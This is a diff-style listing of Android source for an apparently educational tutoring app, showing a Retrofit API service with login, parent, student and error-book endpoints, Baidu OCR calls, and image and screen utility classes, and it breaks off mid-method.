57 //查询缓存的Cache-Control设置,使用缓存 63 //查询缓存的Cache-Control设置,使用缓存
58 protected static final String CACHE_CONTROL_CACHE = "only-if-cached, max-stale=" + CACHE_STALE_SEC; 64 protected static final String CACHE_CONTROL_CACHE = "only-if-cached, max-stale=" + CACHE_STALE_SEC;
59 //查询网络的Cache-Control设置。不使用缓存 65 //查询网络的Cache-Control设置。不使用缓存
60 protected static final String CACHE_CONTROL_NETWORK = "max-age=0"; 66 protected static final String CACHE_CONTROL_NETWORK = "max-age=0";
61 67
62 68
63 private interface NetService { 69 private interface NetService {
64 70
65 71
66 @GET("/api/v1/user/logout") 72 @GET("/api/v1/user/logout")
67 Observable<ResponseBody> logout(); 73 Observable<ResponseBody> logout();
68 74
69 @Multipart 75 @Multipart
70 @POST("/api/v1/user/upLoadAvatar") 76 @POST("/api/v1/user/upLoadAvatar")
71 Observable<ResponseBody> upLoadAvatar(@Header("Authorization") String token, @Part List<MultipartBody.Part> partLis); 77 Observable<ResponseBody> upLoadAvatar(@Header("Authorization") String token, @Part List<MultipartBody.Part> partLis);
72 78
73 79
74 @Headers("Content-Type: application/json") 80 @Headers("Content-Type: application/json")
75 @POST("/api/v1/user/editUser") 81 @POST("/api/v1/user/editUser")
76 Observable<ResponseBody> editUser(@Header("Authorization") String token, @Body RequestBody body); 82 Observable<ResponseBody> editUser(@Header("Authorization") String token, @Body RequestBody body);
77 83
78 @Headers("Content-Type: application/json") 84 @Headers("Content-Type: application/json")
79 @POST("/api/v1/user/changePassword") 85 @POST("/api/v1/user/changePassword")
80 Observable<ResponseBody> changePassword(@Header("Authorization") String token, @Body RequestBody body); 86 Observable<ResponseBody> changePassword(@Header("Authorization") String token, @Body RequestBody body);
81 87
82 88
83 @GET("/api/v1/user/searchById") 89 @GET("/api/v1/user/searchById")
84 Observable<ResponseBody> searchById(@Header("Authorization") String token, @Query("userId") String userId); 90 Observable<ResponseBody> searchById(@Header("Authorization") String token, @Query("userId") String userId);
85 91
86 92
87 @Headers("Content-Type: application/json") 93 @Headers("Content-Type: application/json")
88 @POST("/api/v1/auth/login") 94 @POST("/api/v1/auth/login")
89 Observable<ResponseBody> login(@Body RequestBody body); 95 Observable<ResponseBody> login(@Body RequestBody body);
90 96
91 @GET("/api/v1/resource/listGradeAndSubject") 97 @GET("/api/v1/resource/listGradeAndSubject")
92 Observable<ResponseResult<List<GradeAndSubject>>> listGradeAndSubject(@Header("Authorization") String token); 98 Observable<ResponseResult<List<GradeAndSubject>>> listGradeAndSubject(@Header("Authorization") String token);
93 99
94 100
95 @GET("/api/v1/manager/generalQrCode") 101 @GET("/api/v1/manager/generalQrCode")
96 Observable<ResponseBody> generalQrCode(); 102 Observable<ResponseBody> generalQrCode();
97 103
98 @GET("/api/v1/parent/scanAndLogin?") 104 @GET("/api/v1/parent/scanAndLogin?")
99 Observable<ResponseBody> scanAndLogin(@Header("Authorization") String token, @Query("code") String code); 105 Observable<ResponseBody> scanAndLogin(@Header("Authorization") String token, @Query("code") String code);
100 106
101 @GET("/api/v1/parent/getChildrenList") 107 @GET("/api/v1/parent/getChildrenList")
102 Observable<ResponseBody> getChildrenList(@Header("Authorization") String token); 108 Observable<ResponseBody> getChildrenList(@Header("Authorization") String token);
103 109
104 110
105 @Headers("Content-Type: application/json") 111 @Headers("Content-Type: application/json")
106 @POST("/api/v1/parent/registerParent") 112 @POST("/api/v1/parent/registerParent")
107 Observable<ResponseBody> registerParent(@Body RequestBody body); 113 Observable<ResponseBody> registerParent(@Body RequestBody body);
108 114
109 115
110 @GET("/api/v1/parent/listChildren") 116 @GET("/api/v1/parent/listChildren")
111 Observable<ResponseBody> listChildren(@Header("Authorization") String token); 117 Observable<ResponseBody> listChildren(@Header("Authorization") String token);
112 118
113 119
114 @Headers("Content-Type: application/json") 120 @Headers("Content-Type: application/json")
115 @POST("/api/v1/parent/registerStudent") 121 @POST("/api/v1/parent/registerStudent")
116 Observable<ResponseBody> registerStudent(@Header("Authorization") String token, @Body RequestBody body); 122 Observable<ResponseBody> registerStudent(@Header("Authorization") String token, @Body RequestBody body);
117 123
118 @Headers("Content-Type: application/json") 124 @Headers("Content-Type: application/json")
119 @POST("/api/v1/parent/bindTeacher") 125 @POST("/api/v1/parent/bindTeacher")
120 Observable<ResponseBody> bindTeacher(@Header("Authorization") String token, @Body RequestBody body); 126 Observable<ResponseBody> bindTeacher(@Header("Authorization") String token, @Body RequestBody body);
121 127
122 @Multipart 128 @Multipart
123 @POST("/api/v1/user/upLoadAvatar") 129 @POST("/api/v1/user/upLoadAvatar")
124 Observable<ResponseResult<Map<String, String>>> uploadAvatar(@Header("Authorization") String token, @Part() MultipartBody.Part file); 130 Observable<ResponseResult<Map<String, String>>> uploadAvatar(@Header("Authorization") String token, @Part() MultipartBody.Part file);
125 131
126 132
127 @Multipart 133 @Multipart
128 @POST("/api/v1/student/editStudentAvatar") 134 @POST("/api/v1/student/editStudentAvatar")
129 Observable<ResponseResult<Map<String, String>>> uploadAvatar(@Header("Authorization") String token, @Part() MultipartBody.Part file, @PartMap Map<String, Object> map); 135 Observable<ResponseResult<Map<String, String>>> uploadAvatar(@Header("Authorization") String token, @Part() MultipartBody.Part file, @PartMap Map<String, Object> map);
130 136
131 @Headers("Content-Type: application/json") 137 @Headers("Content-Type: application/json")
132 @POST("/api/v1/parent/editChild") 138 @POST("/api/v1/parent/editChild")
133 Observable<ResponseResult> editStudent(@Header("Authorization") String token, @Body RequestBody body); 139 Observable<ResponseResult> editStudent(@Header("Authorization") String token, @Body RequestBody body);
134 140
135 @GET("/api/v1/student/getStudyPlanForThisWeek") 141 @GET("/api/v1/student/getStudyPlanForThisWeek")
136 Observable<ResponseResult<ScheduleBean>> getWeekPlan(@Header("Authorization") String token, @Query("stuId") String stuId); 142 Observable<ResponseResult<ScheduleBean>> getWeekPlan(@Header("Authorization") String token, @Query("stuId") String stuId);
137 143
138 @GET("api/v1/parent/searchTeacher") 144 @GET("api/v1/parent/searchTeacher")
139 Observable<ResponseResult<Teacher>> searchTeacher(@Header("Authorization") String token, @Query("phone") String phone); 145 Observable<ResponseResult<Teacher>> searchTeacher(@Header("Authorization") String token, @Query("phone") String phone);
146
147 @POST("api/v1/question/listErrorBook")
148 Observable<ResponseResult<PageInfo<TopicBean>>> getError(@Header("Authorization") String token, @Body Map<String, Object> body);
149
150 @POST
151 Observable<JsonObject> removeWriting(@Url String url, @Body RequestBody body);
152
153 @POST
154 Observable<CutPicBean> cut(@Url String url, @Body RequestBody body);
155
156 @POST
157 Observable<JsonObject> getBaiduToken(@Url String url);
158
159 @Multipart
160 @POST("api/v1/pad/addErrorBook")
161 Observable<ResponseResult> addError(@Part() MultipartBody.Part file, @PartMap Map<String, Object> map);
162
163 @POST("api/v1/pad/deleteStuErrorBook")
164 Observable<ResponseResult> deleteError(@Header("Authorization") String token, @Body List<String> map);
165
166 @PUT("api/v1/pad/updateStuErrorBookInfo")
167 Observable<ResponseResult> updateError(@Header("Authorization") String token, @Body List<HashMap<String, Object>> map);
168
169 @POST("api/v1/question/editErrorBook")
170 Observable<ResponseResult> editError(@Header("Authorization") String Authorization, @Body Map<String, Object> map);
140 } 171 }
141 172
142 173
143 public static String getHeader() { 174 public static String getHeader() {
144 return (String) SharedPreferencesUtil.getData("token", ""); 175 return (String) SharedPreferencesUtil.getData("token", "");
145 } 176 }
146 177
178 public static String getBaiduToken() {
179 return (String) SharedPreferencesUtil.getData("baiduToken", "");
180 }
181
182
183 public static void addError(String path, Map<String, String> param, Observer<ResponseResult> observer) {
184 File file = new File(path);
185 RequestBody requestBody = RequestBody.create(MediaType.parse("image/jpg"), file);
186 MultipartBody.Part part = MultipartBody.Part.createFormData("file", file.getName(), requestBody);
187 Map<String, Object> map = new HashMap<>();
188 map.put("condition", param);
189 setSubscribe(service_url.addError(part, map), observer);
190 }
191
192
193 public static void cut(String base64, Observer<CutPicBean> observer) {
194 MediaType mediaType = MediaType.parse("application/x-www-form-urlencoded");
195 RequestBody body = RequestBody.create(mediaType, "image=" + base64 + "&detect_direction=true");
196 setSubscribe(service_url.cut("https://aip.baidubce.com/rest/2.0/ocr/v1/paper_cut_edu?access_token=" + getBaiduToken(), body), observer);
197 }
198
199 public static void editError(Map<String, Object> map, Observer<ResponseResult> observer) {
200 setSubscribe(service_url.editError(getHeader(), map), observer);
201 }
202
203 public static void editError(List<HashMap<String, Object>> map, Observer<ResponseResult> observer) {
204 setSubscribe(service_url.updateError(getHeader(), map), observer);
205 }
206
207 public static void deleteError(List<String> map, Observer<ResponseResult> observer) {
208 setSubscribe(service_url.deleteError(getHeader(), map), observer);
209 }
210
211 public static void getBaiduToken(Observer<JsonObject> observer) {
212 setSubscribe(service_url.getBaiduToken("https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id=" + BuildConfig.APIKey + "&client_secret=" + BuildConfig.SecretKey), observer);
213 }
214
215 public static void removeWriting(String base64, Observer<JsonObject> observer) {
216 MediaType mediaType = MediaType.parse("application/x-www-form-urlencoded");
217 RequestBody body = RequestBody.create(mediaType, "image=" + base64);
218 setSubscribe(service_url.removeWriting(("https://aip.baidubce.com/rest/2.0/ocr/v1/remove_handwriting?access_token=" + getBaiduToken()), body), observer);
219 }
220
147 public static void searchTeacher(String phone, Observer<ResponseResult<Teacher>> observer) { 221 public static void searchTeacher(String phone, Observer<ResponseResult<Teacher>> observer) {
148 setSubscribe(service_url.searchTeacher(getHeader(), phone), observer); 222 setSubscribe(service_url.searchTeacher(getHeader(), phone), observer);
149 } 223 }
150 224
151 public static void logout(Observer<ResponseBody> observer) { 225 public static void logout(Observer<ResponseBody> observer) {
152 setSubscribe(service_url.logout(), observer); 226 setSubscribe(service_url.logout(), observer);
153 } 227 }
154 228
155 public static void editStudent(RequestBody body, Observer<ResponseResult> observable) { 229 public static void editStudent(RequestBody body, Observer<ResponseResult> observable) {
156 setSubscribe(service_url.editStudent(getHeader(), body), observable); 230 setSubscribe(service_url.editStudent(getHeader(), body), observable);
157 } 231 }
158 232
159 public static void getWeekPlan(String id, Observer<ResponseResult<ScheduleBean>> observer) { 233 public static void getWeekPlan(String id, Observer<ResponseResult<ScheduleBean>> observer) {
160 setSubscribe(service_url.getWeekPlan(getHeader(), id), observer); 234 setSubscribe(service_url.getWeekPlan(getHeader(), id), observer);
161 } 235 }
162 236
163 public static void uploadStudentAvatar(File file, String stuId, Observer<ResponseResult<Map<String, String>>> observer) { 237 public static void uploadStudentAvatar(File file, String stuId, Observer<ResponseResult<Map<String, String>>> observer) {
164 RequestBody requestBody = RequestBody.create(MediaType.parse("multipart/form-data"), file); 238 RequestBody requestBody = RequestBody.create(MediaType.parse("multipart/form-data"), file);
165 MultipartBody.Part part = MultipartBody.Part.createFormData("file", file.getName(), requestBody); 239 MultipartBody.Part part = MultipartBody.Part.createFormData("file", file.getName(), requestBody);
166 Map<String, Object> map = new HashMap<>(); 240 Map<String, Object> map = new HashMap<>();
167 map.put("stuId", stuId); 241 map.put("stuId", stuId);
168 setSubscribe(service_url.uploadAvatar(getHeader(), part, map), observer); 242 setSubscribe(service_url.uploadAvatar(getHeader(), part, map), observer);
169 } 243 }
170 244
171 public static void uploadAvatar(File file, Observer<ResponseResult<Map<String, String>>> observer) { 245 public static void uploadAvatar(File file, Observer<ResponseResult<Map<String, String>>> observer) {
172 RequestBody requestBody = RequestBody.create(MediaType.parse("multipart/form-data"), file); 246 RequestBody requestBody = RequestBody.create(MediaType.parse("multipart/form-data"), file);
173 MultipartBody.Part part = MultipartBody.Part.createFormData("file", file.getName(), requestBody); 247 MultipartBody.Part part = MultipartBody.Part.createFormData("file", file.getName(), requestBody);
174 setSubscribe(service_url.uploadAvatar(getHeader(), part), observer); 248 setSubscribe(service_url.uploadAvatar(getHeader(), part), observer);
175 } 249 }
176 250
177 public static void upLoadAvatar(List<MultipartBody.Part> partLis, Observer<ResponseBody> observer) { 251 public static void upLoadAvatar(List<MultipartBody.Part> partLis, Observer<ResponseBody> observer) {
178 setSubscribe(service_url.upLoadAvatar(getHeader(), partLis), observer); 252 setSubscribe(service_url.upLoadAvatar(getHeader(), partLis), observer);
179 } 253 }
180 254
181 255
182 public static void editUser(RequestBody body, Observer<ResponseBody> observer) { 256 public static void editUser(RequestBody body, Observer<ResponseBody> observer) {
183 setSubscribe(service_url.editUser(getHeader(), body), observer); 257 setSubscribe(service_url.editUser(getHeader(), body), observer);
184 } 258 }
185 259
186 public static void changePassword(RequestBody body, Observer<ResponseBody> observer) { 260 public static void changePassword(RequestBody body, Observer<ResponseBody> observer) {
187 setSubscribe(service_url.changePassword(getHeader(), body), observer); 261 setSubscribe(service_url.changePassword(getHeader(), body), observer);
188 } 262 }
189 263
190 264
191 public static void searchById(String userId, Observer<ResponseBody> observer) { 265 public static void searchById(String userId, Observer<ResponseBody> observer) {
192 setSubscribe(service_url.searchById(getHeader(), userId), observer); 266 setSubscribe(service_url.searchById(getHeader(), userId), observer);
193 } 267 }
194 268
195 269
196 public static void login(RequestBody body, Observer<ResponseBody> observer) { 270 public static void login(RequestBody body, Observer<ResponseBody> observer) {
197 setSubscribe(service_url.login(body), observer); 271 setSubscribe(service_url.login(body), observer);
198 } 272 }
199 273
200 public static void listGradeAndSubject(Observer<ResponseResult<List<GradeAndSubject>>> observer) { 274 public static void listGradeAndSubject(Observer<ResponseResult<List<GradeAndSubject>>> observer) {
201 setSubscribe(service_url.listGradeAndSubject(getHeader()), observer); 275 setSubscribe(service_url.listGradeAndSubject(getHeader()), observer);
202 } 276 }
203 277
204 278
205 public static void scanAndLogin(String code, Observer<ResponseBody> observer) { 279 public static void scanAndLogin(String code, Observer<ResponseBody> observer) {
206 setSubscribe(service_url.scanAndLogin(getHeader(), code), observer); 280 setSubscribe(service_url.scanAndLogin(getHeader(), code), observer);
207 } 281 }
208 282
209 public static void getChildrenList(Observer<ResponseBody> observer) { 283 public static void getChildrenList(Observer<ResponseBody> observer) {
210 setSubscribe(service_url.getChildrenList(getHeader()), observer); 284 setSubscribe(service_url.getChildrenList(getHeader()), observer);
211 } 285 }
212 286
213 287
214 public static void registerParent(RequestBody body, Observer<ResponseBody> observer) { 288 public static void registerParent(RequestBody body, Observer<ResponseBody> observer) {
215 setSubscribe(service_url.registerParent(body), observer); 289 setSubscribe(service_url.registerParent(body), observer);
216 } 290 }
217 291
218 292
219 public static void listChildren(Observer<ResponseBody> observer) { 293 public static void listChildren(Observer<ResponseBody> observer) {
220 setSubscribe(service_url.listChildren(getHeader()), observer); 294 setSubscribe(service_url.listChildren(getHeader()), observer);
221 } 295 }
222 296
223 297
224 public static void registerStudent(RequestBody body, Observer<ResponseBody> observer) { 298 public static void registerStudent(RequestBody body, Observer<ResponseBody> observer) {
225 setSubscribe(service_url.registerStudent(getHeader(), body), observer); 299 setSubscribe(service_url.registerStudent(getHeader(), body), observer);
226 } 300 }
227 301
228 public static void bindTeacher(RequestBody body, Observer<ResponseBody> observer) { 302 public static void bindTeacher(RequestBody body, Observer<ResponseBody> observer) {
229 setSubscribe(service_url.bindTeacher(getHeader(), body), observer); 303 setSubscribe(service_url.bindTeacher(getHeader(), body), observer);
230 } 304 }
231 305
306 public static void getError(Map map, Observer<ResponseResult<PageInfo<TopicBean>>> observer) {
307 setSubscribe(service_url.getError(getHeader(), map), observer);
308 }
309
232 310
233 public static RequestBody getMapRequestBody(Map map) { 311 public static RequestBody getMapRequestBody(Map map) {
234 return RequestBody.create(MediaType.parse("text/plain"), new Gson().toJson(map)); 312 return RequestBody.create(MediaType.parse("text/plain"), new Gson().toJson(map));
235 } 313 }
236 314
315
237 public static RequestBody getArrayRequestBody(List list) { 316 public static RequestBody getArrayRequestBody(List list) {
238 return RequestBody.create(MediaType.parse("text/plain"), new Gson().toJson(list)); 317 return RequestBody.create(MediaType.parse("text/plain"), new Gson().toJson(list));
239 } 318 }
240 319
241 public static RequestBody getFileRequestBody(File file) { 320 public static RequestBody getFileRequestBody(File file) {
242 return RequestBody.create(MediaType.parse("application/octet-stream"), file); 321 return RequestBody.create(MediaType.parse("application/octet-stream"), file);
243 } 322 }
244 323
245 public static RequestBody getFileRequestBody(byte[] bytes) { 324 public static RequestBody getFileRequestBody(byte[] bytes) {
246 return RequestBody.create(MediaType.parse("multipart/form-data"), bytes); 325 return RequestBody.create(MediaType.parse("multipart/form-data"), bytes);
247 } 326 }
248 327
249 public static RequestBody getObjectRequestBody(Object obj) { 328 public static RequestBody getObjectRequestBody(Object obj) {
250 return RequestBody.create(MediaType.parse("text/plain"), new Gson().toJson(obj)); 329 return RequestBody.create(MediaType.parse("text/plain"), new Gson().toJson(obj));
251 } 330 }
252 331
253 public static RequestBody getStringRequestBody(String str) { 332 public static RequestBody getStringRequestBody(String str) {
254 return RequestBody.create(MediaType.parse("text/plain"), str); 333 return RequestBody.create(MediaType.parse("text/plain"), str);
255 } 334 }
256 335
336
257 /** 337 /**
258 * 插入观察者 338 * 插入观察者
259 * 339 *
260 * @param observable 340 * @param observable
261 * @param observer 341 * @param observer
262 * @param <T> 342 * @param <T>
263 */ 343 */
264 public static <T> void setSubscribe(Observable<T> observable, Observer<T> observer) { 344 public static <T> void setSubscribe(Observable<T> observable, Observer<T> observer) {
265 observable.subscribeOn(Schedulers.io())//子线程访问网络 345 observable.subscribeOn(Schedulers.io())//子线程访问网络
266 .observeOn(AndroidSchedulers.mainThread())//回调到主线程 346 .observeOn(AndroidSchedulers.mainThread())//回调到主线程
267 .subscribe(observer); 347 .subscribe(observer);
268 } 348 }
269 349
270 } 350 }
271 351
libs/common/src/main/java/com/prws/common/utils/BitmapUtils.java
File was created 1 package com.prws.common.utils;
2
3 import android.graphics.Bitmap;
4 import android.graphics.BitmapFactory;
5 import android.graphics.Matrix;
6 import android.hardware.Camera;
7 import android.text.TextUtils;
8 import android.util.Base64;
9
10 import java.io.ByteArrayInputStream;
11 import java.io.ByteArrayOutputStream;
12 import java.io.File;
13 import java.io.FileInputStream;
14 import java.io.FileNotFoundException;
15 import java.io.FileOutputStream;
16 import java.io.IOException;
17 import java.io.InputStream;
18 import java.net.URLEncoder;
19
20 public class BitmapUtils {
21
22 public static Bitmap compress(Bitmap image) {
23 ByteArrayOutputStream baos = new ByteArrayOutputStream();
24 image.compress(Bitmap.CompressFormat.JPEG, 100, baos);//质量压缩方法,这里100表示不压缩,把压缩后的数据存放到baos中
25 int options = 100;
26 while (baos.toByteArray().length / 1024 > 2000) { //循环判断如果压缩后图片是否大于100kb,大于继续压缩
27 baos.reset();//重置baos即清空baos
28 image.compress(Bitmap.CompressFormat.JPEG, options, baos);//这里压缩options%,把压缩后的数据存放到baos中
29 options -= 10;//每次都减少10
30 }
31 ByteArrayInputStream isBm = new ByteArrayInputStream(baos.toByteArray());//把压缩后的数据baos存放到ByteArrayInputStream中
32 Bitmap bitmap = BitmapFactory.decodeStream(isBm, null, null);//把ByteArrayInputStream数据生成图片
33 return bitmap;
34 }
35
36 public static Bitmap getimage(String srcPath) {
37 BitmapFactory.Options newOpts = new BitmapFactory.Options();
38 //开始读入图片,此时把options.inJustDecodeBounds 设回true了
39 newOpts.inJustDecodeBounds = true;
40 Bitmap bitmap = BitmapFactory.decodeFile(srcPath, newOpts);//此时返回bm为空
41
42 newOpts.inJustDecodeBounds = false;
43 int w = newOpts.outWidth;
44 int h = newOpts.outHeight;
45 float hh = 2000f;//这里设置高度为800f
46 float ww = 2000f;//这里设置宽度为480f
47 //缩放比。由于是固定比例缩放,只用高或者宽其中一个数据进行计算即可
48 int be = 1;//be=1表示不缩放
49 if (w > h && w > ww) {//如果宽度大的话根据宽度固定大小缩放
50 be = (int) (newOpts.outWidth / ww);
51 } else if (w < h && h > hh) {//如果高度高的话根据宽度固定大小缩放
52 be = (int) (newOpts.outHeight / hh);
53 }
54 if (be <= 0)
55 be = 1;
56 newOpts.inSampleSize = be;//设置缩放比例
57 //重新读入图片,注意此时已经把options.inJustDecodeBounds 设回false了
58 bitmap = BitmapFactory.decodeFile(srcPath, newOpts);
59 return compress(bitmap);//压缩好比例大小后再进行质量压缩
60 }
61
62
63 /**
64 * 注释:设置拍照图片正确方向
65 *
66 * @param id
67 * @param bitmap
68 * @return
69 */
70 public static Bitmap setTakePicktrueOrientation(int id, Bitmap bitmap) {
71 //如果返回的图片宽度小于高度,说明FrameWork层已经做过处理直接返回即可
72 try {
73 if (bitmap.getWidth() < bitmap.getHeight()) {
74 return bitmap;
75 }
76 Camera.CameraInfo info = new Camera.CameraInfo();
77 Camera.getCameraInfo(id, info);
78 bitmap = rotaingImageView(id, info.orientation, bitmap);
79 } catch (Exception e) {
80
81 }
82 return bitmap;
83 }
84
85 /**
86 * 把相机拍照返回照片转正
87 *
88 * @param angle 旋转角度
89 * @return bitmap 图片
90 */
91 private static Bitmap rotaingImageView(int id, int angle, Bitmap bitmap) {
92 //矩阵
93 Matrix matrix = new Matrix();
94 matrix.postRotate(angle);
95 //加入翻转 把相机拍照返回照片转正
96 if (id == 1) {
97 matrix.postScale(-1, 1);
98 }
99 // 创建新的图片
100 Bitmap resizedBitmap = Bitmap.createBitmap(bitmap, 0, 0,
101 bitmap.getWidth(), bitmap.getHeight(), matrix, true);
102 return resizedBitmap;
103 }
104
105 /**
106 * 注释:保存图片
107 *
108 * @param bitmap
109 * @param path
110 * @return
111 */
112 public static boolean saveBitmap(Bitmap bitmap, String path) {
113
114 try {
115 File file = new File(path);
116 File parent = file.getParentFile();
117 if (!parent.exists()) {
118 parent.mkdirs();
119 }
120 FileOutputStream fos = new FileOutputStream(file);
121 boolean b = bitmap.compress(Bitmap.CompressFormat.JPEG, 100, fos);
122 fos.flush();
123 fos.close();
124 return b;
125 } catch (Exception e) {
126 e.printStackTrace();
127 }
128 return false;
129 }
130
131 public static Bitmap routeBitmap(Bitmap bitmap) {
132 Matrix matrix = new Matrix();
133 matrix.preRotate(90f);
134 Bitmap bitmap1 = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, false);
135 return bitmap1;
136 }
137
138 public static String fileToBase64(String path) {
139 File file = new File(path);
140 String base64 = null;
141 InputStream in = null;
142 try {
143 in = new FileInputStream(file);
144 byte[] bytes = new byte[in.available()];
145 int length = in.read(bytes);
146 base64 = Base64.encodeToString(bytes, 0, length, Base64.DEFAULT);
147 } catch (FileNotFoundException e) {
148 e.printStackTrace();
149 } catch (IOException e) {
150 e.printStackTrace();
151 } finally {
152 try {
153 if (in != null) {
154 in.close();
155 }
156 } catch (IOException e) {
157 e.printStackTrace();
158 }
159 }
160 return toURLEncoded(base64);
161 }
162
163
164 /**
165 * 将图片转换成Base64编码的字符串
166 */
167 public static String imageToBase64(String path) {
168 if (TextUtils.isEmpty(path)) {
169 return null;
170 }
171 InputStream is = null;
172 byte[] data = null;
173 String result = null;
174 try {
175 is = new FileInputStream(path);
176 //创建一个字符流大小的数组。
177 data = new byte[is.available()];
178 //写入数组
179 is.read(data);
180 //用默认的编码格式进行编码
181 result = Base64.encodeToString(data, Base64.NO_CLOSE);
182 } catch (Exception e) {
183 e.printStackTrace();
184 } finally {
185 if (null != is) {
186 try {
187 is.close();
188 } catch (IOException e) {
189 e.printStackTrace();
190 }
191 }
192
193 }
194 return toURLEncoded(result);
195 }
196
197
198 public static String toURLEncoded(String paramString) {
199 if (paramString == null || paramString.equals("")) {
200 return "";
201 }
202 try {
203 String str = new String(paramString.getBytes(), "UTF-8");
204 str = URLEncoder.encode(str, "UTF-8");
205 return str;
206 } catch (Exception localException) {
207 }
208 return "";
209 }
210
211 public static Bitmap stringToBitmap(String string) {
212 Bitmap bitmap = null;
213 try {
214 byte[] bitmapArray = Base64.decode(string, Base64.DEFAULT);
215 bitmap = BitmapFactory.decodeByteArray(bitmapArray, 0, bitmapArray.length);
216 } catch (Exception e) {
217 e.printStackTrace();
218 }
219 return bitmap;
220 }
221
222 /**
223 * 将图片转成byte数组
224 *
225 * @param bitmap 图片
226 * @return 图片的字节数组
227 */
228 public static String bitmap2Byte(Bitmap bitmap) {
229 if (null == bitmap) throw new NullPointerException();
230 // if (null == bitmap) return null;
231 ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
232 //把bitmap100%高质量压缩 到 output对象里
233 bitmap.compress(Bitmap.CompressFormat.JPEG, 100, outputStream);
234 return byte2Base64(outputStream.toByteArray());
235 }
236
237 /**
238 * 将图片转成byte数组
239 *
240 * @param imageByte 图片
241 * @return Base64 String
242 */
243 public static String byte2Base64(byte[] imageByte) {
244 if (null == imageByte) return null;
245 return Base64.encodeToString(imageByte, Base64.DEFAULT);
246 }
247
248
249 }
250
libs/common/src/main/java/com/prws/common/utils/CommonUtil.java
File was created 1 package com.prws.common.utils;
2
3 import android.app.Activity;
4 import android.content.Context;
5 import android.content.pm.PackageInfo;
6 import android.content.pm.PackageManager;
7 import android.graphics.Bitmap;
8 import android.graphics.Matrix;
9 import android.graphics.Point;
10 import android.graphics.Rect;
11 import android.media.ExifInterface;
12 import android.os.Build;
13 import android.util.DisplayMetrics;
14 import android.view.Display;
15 import android.view.View;
16 import android.view.WindowManager;
17
18 import com.prws.common.bean.CutPicBean;
19
20 import java.io.File;
21 import java.io.FileNotFoundException;
22 import java.io.FileOutputStream;
23 import java.io.IOException;
24 import java.math.BigDecimal;
25 import java.util.ArrayList;
26 import java.util.Calendar;
27 import java.util.List;
28 import java.util.Locale;
29 import java.util.Random;
30
31 /**
32 * 获得屏幕相关的辅助类
33 */
34 public class CommonUtil {
35 private CommonUtil() {
36 throw new UnsupportedOperationException("cannot be instantiated");
37 }
38
39 /**
40 * sp或者 dp 装换为 px
41 */
42 public static int dpToPx(Context context, int dpValue) {
43 float scale = context.getResources().getDisplayMetrics().density;
44 return Math.round(dpValue * scale);
45 }
46
47 /**
48 * 获得屏幕宽度
49 *
50 * @param context
51 * @return
52 */
53 public static int getScreenWidth(Context context) {
54 WindowManager wm = (WindowManager) context
55 .getSystemService(Context.WINDOW_SERVICE);
56 DisplayMetrics outMetrics = new DisplayMetrics();
57 wm.getDefaultDisplay().getMetrics(outMetrics);
58 return outMetrics.widthPixels;
59 }
60
61 /**
62 * 获得屏幕高度
63 *
64 * @param context
65 * @return
66 */
67 public static int getScreenHeight(Context context) {
68 WindowManager wm = (WindowManager) context
69 .getSystemService(Context.WINDOW_SERVICE);
70 DisplayMetrics outMetrics = new DisplayMetrics();
71 wm.getDefaultDisplay().getMetrics(outMetrics);
72 return outMetrics.heightPixels;
73 }
74
75 /**
76 * 获得状态栏高度
77 *
78 * @param context
79 * @return
80 */
81 public static int getStatusHeight(Context context) {
82
83 int statusHeight = -1;
84 try {
85 Class<?> clazz = Class.forName("com.android.internal.R$dimen");
86 Object object = clazz.newInstance();
87 int height = Integer.parseInt(clazz.getField("status_bar_height")
88 .get(object).toString());
89 statusHeight = context.getResources().getDimensionPixelSize(height);
90 } catch (Exception e) {
91 e.printStackTrace();
92 }
93 return statusHeight;
94 }
95
96 /**
97 * 获取当前屏幕截图,包含状态栏
98 *
99 * @param activity
100 * @return
101 */
102 public static Bitmap snapShotWithStatusBar(Activity activity) {
103 View view = activity.getWindow().getDecorView();
104 view.setDrawingCacheEnabled(true);
105 view.buildDrawingCache();
106 Bitmap bmp = view.getDrawingCache();
107 int width = getScreenWidth(activity);
108 int height = getScreenHeight(activity);
109 Bitmap bp = null;
110 bp = Bitmap.createBitmap(bmp, 0, 0, width, height);
111 view.destroyDrawingCache();
112 return bp;
113
114 }
115
116 /**
117 * 获取当前屏幕截图,不包含状状态栏
118 *
119 * @param activity
120 * @return
121 */
122 public static Bitmap snapShotWithoutStatusBar(Activity activity) {
123 View view = activity.getWindow().getDecorView();
124 view.setDrawingCacheEnabled(true);
125 view.buildDrawingCache();
126 Bitmap bmp = view.getDrawingCache();
127 Rect frame = new Rect();
128 activity.getWindow().getDecorView().getWindowVisibleDisplayFrame(frame);
129 int statusBarHeight = frame.top;
130
131 int width = getScreenWidth(activity);
132 int height = getScreenHeight(activity);
133 Bitmap bp = null;
134 bp = Bitmap.createBitmap(bmp, 0, statusBarHeight, width, height
135 - statusBarHeight);
136 view.destroyDrawingCache();
137 return bp;
138 }
139
140 public static PackageInfo getPackageInfo(Context context) {
141 PackageInfo pi = null;
142 try {
143 PackageManager pm = context.getPackageManager();
144 pi = pm.getPackageInfo(context.getPackageName(),
145 PackageManager.GET_CONFIGURATIONS);
146
147 return pi;
148 } catch (Exception e) {
149 e.printStackTrace();
150 }
151 return pi;
152 }
153
154 //相乘
155 public static double mul(double a1, double b1) {
156 BigDecimal a2 = new BigDecimal(Double.toString(a1));
157 BigDecimal b2 = new BigDecimal(Double.toString(b1));
158 return a2.multiply(b2).doubleValue();
159 }
160
161 //相乘
162 public static int mulForInt(double a1, double b1) {
163 BigDecimal a2 = new BigDecimal(Double.toString(a1));
164 BigDecimal b2 = new BigDecimal(Double.toString(b1));
165 return a2.multiply(b2).intValue();
166 }
167
168 //相除
169 public static double div(double a1, double b1, int scale) {
170 //scale参数为除不尽时,指定精度。
171 if (scale < 0) {
172 throw new IllegalArgumentException("error");
173 }
174 BigDecimal a2 = new BigDecimal(Double.toString(a1));
175 BigDecimal b2 = new BigDecimal(Double.toString(b1));
176 return a2.divide(b2, scale, BigDecimal.ROUND_HALF_UP).doubleValue();
177 }
178
179 //相除
180 public static int divForInt(double a1, double b1, int scale) {
181 //scale参数为除不尽时,指定精度。
182 if (scale < 0) {
183 throw new IllegalArgumentException("error");
184 }
185 BigDecimal a2 = new BigDecimal(Double.toString(a1));
186 BigDecimal b2 = new BigDecimal(Double.toString(b1));
187 return a2.divide(b2, scale, BigDecimal.ROUND_HALF_UP).intValue();
188 }
189
190 public static String getStr() {
191 String str = new String();
192 Random r = new Random();
193
